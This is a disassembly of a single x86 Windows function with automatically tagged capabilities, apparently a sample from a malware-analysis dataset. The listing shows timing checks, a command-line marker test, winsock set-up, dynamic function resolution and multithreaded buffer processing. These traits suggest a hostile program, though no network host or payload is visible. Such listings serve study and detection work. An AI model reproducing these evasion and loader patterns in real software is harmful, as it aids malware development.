Function at 0x400395d
Capabilities:
Accept command line arguments
Check for time delay via gettickcount
Create thread
Initialize winsock library
Resolve function by parsing pe exports
Terminate process

Disassembly:
sub esp, 0xfe4
push ebx
push esi
push edi
call fcn.04001eaa
push eax
call fcn.04001ec4
mov dword [esp], 0x208
mov esi, str.C:UsersJohn_sivulnankesb.exe
push esi
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x4002231
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
push ebx
call dword [sym.imp.ole32.dll_CoInitialize]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push str._9276543007814
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
je 0x40039b6
mov byte [0x400d1db], 1
call fcn.04004fee
push ebx
mov byte [0x400d1d4], al
call fcn.040022c3
mov byte [0x400d1d5], al
call fcn.04002436
mov byte [0x400d1d7], al
call fcn.040022a3
mov byte [0x400d1d8], al
call fcn.040024b5
mov byte [0x400d1d9], al
call fcn.04002610
mov byte [esp + 0x13], al
call fcn.04002365
or al, byte [esp + 0x13]
push 0xffffffffffffffff
mov byte [0x400d1d6], al
call fcn.0400510a
mov dword [0x400d1dc], eax
movzx eax, byte [0x400d1d4]
push 0x400d1e4
push eax
mov edi, str.sivulnankesb
push edi
push esi
call fcn.04001195
add esp, 0x18
lea eax, [esp + 0x49c]
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
test eax, eax
jne 0x400408a
push ebp
push 0x400d1da
call fcn.040054ef
mov byte [0x400d1da], al
mov dword [esp], 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
mov ebp, 0x3000
push ebp
push 0x1400000
push ebx
call esi
push 4
push ebp
push 0x500000
push ebx
mov dword [0x400d1ec], eax
call esi
mov dword [esp + 0x20], eax
cmp dword [0x400d1ec], ebx
je 0x400407e
cmp eax, ebx
je 0x400407e
push ebx
xor ebp, ebp
inc ebp
push ebp
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
mov esi, dword [sym.imp.KERNEL32.dll_CreateEventA]
push ebx
push ebx
push ebp
push ebx
mov dword [0x400d1f0], eax
call esi
push ebx
push ebx
push ebp
push ebx
mov dword [0x400d1f4], eax
call esi
push 0x34f
mov dword [0x400d1f8], eax
lea eax, [esp + 0x64]
push ebx
push eax
call fcn.04004174
lea eax, [esp + 0x6c]
push eax
call fcn.04002eca
mov esi, 0x9c4
push esi
lea eax, [esp + 0x644]
push ebx
push eax
call fcn.04004174
add esp, 0x1c
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push edi
mov dword [esp + 0x24], eax
push esi
lea eax, [esp + 0x63c]
push eax
push 0x400b864
call fcn.04005292
push ebx
lea eax, [esp + 0x50]
push eax
mov ebp, 0x400643c
lea eax, [esp + 0x64c]
push ebp
push eax
mov dword [esp + 0x5c], ebx
call fcn.04002056
push esi
mov dword [esp + 0x50], eax
lea eax, [esp + 0x658]
push ebx
push eax
call fcn.04004174
push dword [esp + 0x4c]
lea eax, [esp + 0x664]
push edi
push esi
push eax
push 0x400c22c
call fcn.04005292
add esp, 0x44
push ebx
lea eax, [esp + 0x40]
push eax
lea eax, [esp + 0x638]
push ebp
push eax
mov dword [esp + 0x4c], ebx
call fcn.04002056
push esi
mov edi, eax
push ebx
lea eax, [esp + 0x648]
push eax
call fcn.04004174
mov eax, dword [esp + 0x44]
push 0xf
cdq
pop ecx
idiv ecx
xor ecx, ecx
push 0x10
cmp edx, ebx
setne cl
mov dword [esp + 0x60], edx
pop edx
add ecx, eax
mov esi, ecx
xor ecx, ecx
mov eax, esi
mul edx
seto cl
mov dword [esp + 0x40], esi
neg ecx
or ecx, eax
push ecx
call fcn.04004edc
shl esi, 4
push esi
push ebx
push eax
mov dword [esp + 0x58], eax
call fcn.04004174
push 0xf
pop ecx
mov eax, edi
cdq
idiv ecx
xor ecx, ecx
push 0x10
cmp edx, ebx
setne cl
mov dword [esp + 0x78], edx
pop edx
add ecx, eax
mov ebp, ecx
xor ecx, ecx
mov eax, ebp
mul edx
seto cl
mov dword [esp + 0x70], ebp
neg ecx
or ecx, eax
push ecx
call fcn.04004edc
mov ecx, ebp
shl ecx, 4
push ecx
push ebx
push eax
mov dword [esp + 0x6c], eax
call fcn.04004174
add esp, 0x3c
mov dword [0x400d1fc], ebx
mov dword [esp + 0x18], ebx
cmp dword [esp + 0x18], ebx
jne 0x4003e6d
push dword [0x400d1f4]
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov esi, 0x7530
push esi
push dword [esp + 0x28]
push dword [esp + 0x34]
call fcn.04001ffc
push esi
push ebp
push dword [esp + 0x44]
call fcn.04001ffc
add esp, 0x18
push dword [0x400d1f4]
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0xffffffffffffffff
push dword [0x400d1f0]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x1400000
push ebx
push dword [0x400d1ec]
call fcn.04004174
add esp, 0xc
push ebx
push 1
push dword [0x400d1f0]
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
xor edi, edi
cmp dword [esp + 0x24], ebx
jle 0x4003cf1
mov esi, dword [esp + 0x2c]
mov ebp, dword [esp + 0x38]
add esi, 4
mov eax, dword [esp + 0x40]
cmp eax, ebx
je 0x4003cb9
mov ecx, dword [esp + 0x24]
dec ecx
cmp edi, ecx
je 0x4003cbc
push 0xf
pop eax
push ebx
push ebx
mov dword [esi + 4], eax
lea eax, [esi - 4]
push eax
push 0x400324a
push ebx
lea ecx, [esp + 0x74]
push ebx
mov dword [esi], ebp
mov dword [eax], ecx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 8], eax
inc edi
add ebp, 0x258
add esi, 0x10
cmp edi, dword [esp + 0x24]
jl 0x4003ca8
mov ebp, dword [esp + 0x44]
cmp ebp, ebx
mov dword [esp + 0x14], ebx
jle 0x4003d4c
mov esi, dword [esp + 0x30]
mov edi, dword [esp + 0x3c]
add esi, 4
mov eax, dword [esp + 0x48]
cmp eax, ebx
je 0x4003d15
lea ecx, [ebp - 1]
cmp dword [esp + 0x14], ecx
je 0x4003d18
push 0xf
pop eax
push ebx
push ebx
mov dword [esi + 4], eax
lea eax, [esi - 4]
push eax
push 0x400324a
push ebx
lea ecx, [esp + 0x74]
push ebx
mov dword [esi], edi
mov dword [eax], ecx
call dword [sym.imp.KERNEL32.dll_CreateThread]
inc dword [esp + 0x14]
mov dword [esi + 8], eax
add edi, 0x258
add esi, 0x10
cmp dword [esp + 0x14], ebp
jl 0x4003d04
mov dword [esp + 0x14], ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esp + 0x1c], eax
push 0xffffffffffffffff
push dword [0x400d1f0]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [0x400d1ec]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, eax
cmp edi, ebx
jle 0x4003dd4
push 4
push 0x3000
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
cmp esi, ebx
je 0x4003dd4
push edi
push dword [0x400d1ec]
push esi
call fcn.04004094
add esp, 0xc
push ebx
push 1
push dword [0x400d1f0]
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push 0x500000
push dword [esp + 0x24]
push edi
push esi
call fcn.040047f0
add esp, 0x10
push 0x8000
push ebx
push esi
mov dword [esp + 0x20], eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x4003de3
push ebx
push 1
push dword [0x400d1f0]
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
cmp dword [esp + 0x14], ebx
jg 0x4003e39
push dword [esp + 0x24]
push dword [esp + 0x30]
call fcn.04001fad
pop ecx
pop ecx
test al, al
jne 0x4003e0c
push ebp
push dword [esp + 0x34]
call fcn.04001fad
pop ecx
pop ecx
test al, al
je 0x4003e2c
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [esp + 0x1c]
cmp eax, 0x927c0
jbe 0x4003d5a
mov dword [esp + 0x18], 1
jmp 0x4003c21
push dword [esp + 0x14]
push dword [esp + 0x24]
call fcn.0400335b
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
pop ecx
pop ecx
push 0x2710
call esi
push dword [0x400d1f4]
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0x2932e00
call esi
jmp 0x4004073
cmp dword [esp + 0x18], 1
jne 0x4004073
push dword [0x400d1f8]
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov dword [esp + 0x14], ebx
push 0xffffffffffffffff
push dword [0x400d1f0]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x1400000
push ebx
push dword [0x400d1ec]
call fcn.04004174
add esp, 0xc
push ebx
push 1
push dword [0x400d1f0]
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
cmp dword [esp + 0x14], 1
mov dword [esp + 0x28], 6
jne 0x4003ed0
mov dword [esp + 0x28], 3
cmp dword [esp + 0x28], ebx
mov dword [esp + 0x18], ebx
mov dword [esp + 0x34], ebx
jle 0x4004055
push dword [0x400d1f8]
call dword [sym.imp.KERNEL32.dll_ResetEvent]
xor edi, edi
lea esi, [esp + 0x3b0]
mov eax, dword [esp + 0x18]
push ebx
push ebx
push esi
push 0x40032dd
mov dword [esi + 4], eax
push ebx
lea eax, [esp + 0x74]
push ebx
mov dword [esi], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esp + edi*4 + 0x4c], eax
cmp dword [esp + 0x14], ebx
jne 0x4003f24
dec dword [esp + 0x18]
jmp 0x4003f28
inc dword [esp + 0x18]
inc edi
add esi, 8
cmp edi, 4
jle 0x4003ef7
mov dword [esp + 0x1c], ebx
xor edi, edi
push 0xffffffffffffffff
push dword [0x400d1f0]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [0x400d1ec]
mov byte [esp + 0x17], bl
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
cmp esi, ebx
jle 0x4003fe2
push 4
push 0x3000
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
cmp edi, ebx
je 0x4003fb8
push esi
push dword [0x400d1ec]
push edi
call fcn.04004094
add esp, 0xc
push ebx
push 1
push dword [0x400d1f0]
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push 0x500000
push dword [esp + 0x24]
mov byte [esp + 0x1b], 1
push esi
push edi
call fcn.040047f0
add esp, 0x10
push 0x8000
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [0x400d1ec]
mov ecx, dword [esp + 0x1c]
push 0x500000
push dword [esp + 0x24]
add ecx, eax
push esi
push ecx
call fcn.040047f0
add esp, 0x10
mov edi, eax
mov dword [esp + 0x1c], esi
cmp byte [esp + 0x13], bl
jne 0x4003ff1
push ebx
push 1
push dword [0x400d1f0]
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
cmp edi, ebx
jg 0x4004025
push 0x3e8
push 1
lea eax, [esp + 0x54]
push eax
push 5
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
test eax, eax
jne 0x4003f37
inc dword [esp + 0x34]
mov eax, dword [esp + 0x34]
cmp eax, dword [esp + 0x28]
jl 0x4003ee2
jmp 0x4004051
push edi
push dword [esp + 0x24]
call fcn.0400335b
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
pop ecx
pop ecx
push 0x2710
call esi
push dword [0x400d1f8]
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0x2932e00
call esi
cmp edi, ebx
jg 0x4004064
inc dword [esp + 0x14]
cmp dword [esp + 0x14], 1
jle 0x4003e88
push 0xea60
mov dword [esp + 0x1c], ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
inc dword [0x400d1fc]
jmp 0x4003c21
call sub.WS2_32.dll_WSACleanup
call dword [sym.imp.ole32.dll_CoUninitialize]
pop ebp
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]